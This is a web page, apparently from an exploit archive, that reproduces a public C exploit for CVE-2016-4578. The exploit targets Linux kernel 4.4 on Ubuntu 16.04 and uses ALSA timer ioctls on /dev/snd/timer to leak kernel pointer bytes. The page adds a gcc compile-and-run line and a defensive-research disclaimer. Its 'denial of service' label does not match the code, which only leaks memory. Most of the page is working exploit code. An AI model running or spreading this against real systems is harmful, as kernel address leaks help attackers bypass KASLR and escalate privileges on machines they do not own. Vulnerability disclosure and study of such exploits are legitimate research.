Materialized exploit

CVE-2016-4578

MEDIUM

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos linux

Source

Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak

By wally0813

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

gcc 46529.c -o exploit && ./exploit

Code c

#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sound/asound.h>

# Exploit Title: Linux Kernel 4.4 (Ubuntu 16.04) - Leak kernel pointer in snd_timer_user_ccallback()

# Google Dork: -

# Date: 2019-03-11

# Exploit Author: wally0813

# Vendor Homepage: -

# Software Link: -

# Version: Linux Kernel 4.4 (Ubuntu 16.04)

# Tested on: ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

# CVE: CVE-2016-4578

# Category: Local



/*
 * [ Briefs ]
 *    - If snd_timer_user_ccallback() doesn't initialize snd_timer_tread.event and snd_timer_tread.val, they are leaked by snd_timer_user_read()
 *    - This is local exploit against the CVE-2016-4578.
 *
 * [ Tested version ]
 *    - 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 *
 * [ Prerequisites ]
 *    -
 *
 * [ Goal ]
 *    - Leak 4 bytes kernel pointer address using snd_timer_user_ccallback()
 *
 * [ Run exploit ]
 *    - $ gcc -o poc poc.c
 *    - $ sudo ./poc
 *      leak_value(event) : ffff8800
 *      leak_value(val) : ffffffff
 *
 * [ Contact ]
 *    - soyeoni0813@gmail.com
 */



int fd;

void leak(){

	struct snd_timer_tread td;
	struct snd_timer_select st;
	struct snd_timer_params ps;
	int r;
	unsigned int leak_value_e, leak_value_v;
	int tread;

	memset(&td,0,sizeof(td));
	memset(&st,0,sizeof(st));
	memset(&ps,0,sizeof(ps));


	// set tread
	tread = 1;
	ps.filter |= 1<<SNDRV_TIMER_EVENT_START;
	ps.ticks = 1000 * 1000;

	r = ioctl(fd, SNDRV_TIMER_IOCTL_TREAD, &tread);
	if (r) {
		printf("SNDRV_TIMER_IOCTL_TREAD error : %d, %s\n", errno, strerror(errno));
		return;
	}


	// vuln trigger
	st.id.dev_class = SNDRV_TIMER_CLASS_GLOBAL;
	st.id.dev_sclass = SNDRV_TIMER_SCLASS_APPLICATION;
	r = ioctl(fd, SNDRV_TIMER_IOCTL_SELECT, &st);
	if (r) {
		printf("SNDRV_TIMER_IOCTL_SELECT error : %d, %s\n", errno, strerror(errno));
		return;
	}

	r = ioctl(fd, SNDRV_TIMER_IOCTL_PARAMS, &ps);
	if (r) {
		printf("SNDRV_TIMER_IOCTL_PARAMS error : %d, %s\n", errno, strerror(errno));
		return;
	}

	r = ioctl(fd, SNDRV_TIMER_IOCTL_START);
    if (r) {
    	printf("SNDRV_TIMER_IOCTL_START error : %d, %s\n", errno, strerror(errno));
    	return;
	}


    // get leak
	r = read(fd, &td, sizeof(td));

	leak_value_e = *((unsigned long *)(&td.event+1));
	printf("leak_value(event) : %lx\n", leak_value_e);

	leak_value_v = *((unsigned long *)(&td.val+1));
	printf("leak_value(val) : %lx\n", leak_value_v);

}

int main(int argc, char **argv)
{
	fd = open("/dev/snd/timer", O_RDWR);

	if (fd < 0) {
		printf("open error : %d, %s\n", errno, strerror(errno));
		return -1;
	}

	leak();
	close(fd);
	return 0;
}